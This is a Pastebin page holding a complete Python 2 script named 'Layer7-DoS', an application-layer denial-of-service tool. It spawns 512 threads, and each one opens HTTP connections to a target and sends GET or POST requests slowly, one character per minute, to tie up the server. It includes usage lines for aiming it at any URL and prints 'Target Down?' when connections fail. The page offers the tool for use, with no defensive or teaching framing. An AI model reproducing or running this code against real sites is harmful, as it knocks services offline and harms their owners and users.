Advertisement
1337ings

[Python] Layer7-DoS

Jan 31st, 2017
993
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.90 KB | None | 0 0
  1. #!/usr/bin/python
  2. #
  3. # Layer7-DoS coded by Chris Poole | @codingplanets
  4. #
  5. # GET DOS - USAGE: Layer7.py -t get http://example.com
  6. # POST DOS - USAGE: Layer7.py -t post http://example.com
  7.  
  8. import sys
  9. import socket
  10. import time
  11. import getopt
  12. import re
  13. from threading import Thread
  14.  
  15. class MyThread(Thread,):
  16.     def __init__(self,SITE, DOS_TYPE):
  17.         Thread.__init__(self)
  18.         self.method = DOS_TYPE
  19.         self.site = SITE
  20.         self.kill_received = False
  21.     def run(self):
  22.         while not self.kill_received:
  23.             server = socket.gethostbyname(self.site)
  24.             post = 'x' * 9999
  25.             file = '/'
  26.  
  27.             request = '%s /%s HTTP/1.1\r\n' %(self.method.upper(),file)
  28.             request += 'Host: %s\r\n' % (self.site)
  29.             request += 'User-Agent: Mozilla/5.0 (Windows; U;Windows NT 6.1; en-US; rv:1.9.2.12) Gecko/20101026Firefox/3.6.12\r\n'
  30.             request += 'Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n'
  31.             request += 'Accept-Language: en-us,en;q=0.5\r\n'
  32.             request += 'Accept-Encoding: gzip,deflate\r\n'
  33.             request += 'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n'
  34.             request += 'Keep-Alive: 9000\r\n'
  35.             request += 'Connection: close\r\n'
  36.             request += 'Content-Type: application/x-www-form-urlencoded\r\n'
  37.             request += 'Content-length: %s\r\n\r\n' % (len(post))
  38.  
  39.             newrequest = '%s\r\n' % (post)
  40.             newrequest += '\r\n'
  41.  
  42.             s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  43.  
  44.             try:
  45.                 s.connect((server, 80))
  46.                 s.send(request)
  47.  
  48.                 for c in newrequest:
  49.                     sys.stdout.write( s.send(c).__str__() )
  50.                     time.sleep(60)
  51.                 s.close()
  52.                 #s.recv(50000)
  53.             except:
  54.                 print "Target Down?"
  55.  
  56. def l7(SITE,DOS_TYPE):
  57.     thread_count = 512
  58.     print '=' * 60
  59.     print 'Layer7-DoS by Chris Poole | @codingplanets'.center(60,'-')
  60.     print '=' * 60
  61.     threads = []
  62.     for num in range(thread_count):
  63.         thr1=MyThread(SITE,DOS_TYPE)
  64.         print 'start - %s' % thr1
  65.         thr1.start()
  66.         threads.append(thr1)
  67.         #thr1.join()
  68.  
  69.     while len(threads) > 0:
  70.             try:
  71.                 # Join all threads using a timeout so it doesn't block
  72.                 # Filter out threads which have been joined or are None
  73.                 threads = [t.join(1) for t in threads if t is not
  74. None and t.isAlive()]
  75.             except KeyboardInterrupt:
  76.                 print "Ctrl-c received! Sending kill to threads... Just close The Terminal"
  77.                 for t in threads:
  78.                     t.kill_received = True
  79.                     sys.exit(2)
  80.  
  81. def main(argv):
  82.     def usage():
  83.         print '=' * 60
  84.         print 'Layer7-DoS by Chris Poole | @codingplanets'.center(60,'-')
  85.         print '=' * 60
  86.         print 'For GET DOS - USAGE: Layer7.py -t get http://example.com'
  87.         print 'For POST DOS - USAGE: Layer7.py -t post http://example.com'
  88.         sys.exit(2)
  89.     if not argv:
  90.         usage()
  91.     try:
  92.         opts, args = getopt.getopt(sys.argv[1:], "t:h", ["help",
  93. "type"])
  94.     except getopt.GetoptError, err:
  95.         print str(err)
  96.         sys.exit(2)
  97.     output = None
  98.     verbose = False
  99.     SITE = re.sub(r'http://', '', str(sys.argv[-1:][0]))
  100.  
  101.     for o, a in opts:
  102.         if o == "-v":
  103.             verbose = True
  104.         elif o in ("-t", "--type"):
  105.             if a.lower() == 'post':
  106.                 DOS_TYPE = 'POST'
  107.                 l7(SITE,DOS_TYPE)
  108.             elif a.lower() =='get':
  109.                 DOS_TYPE = 'get'
  110.                 l7(SITE,DOS_TYPE)
  111.         elif o in ("-h", "--help"):
  112.             usage()
  113.             sys.exit()
  114.         else:
  115.             assert False, "unhandled option"
  116.  
  117. if __name__=="__main__":
  118.     main(sys.argv[1:])
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement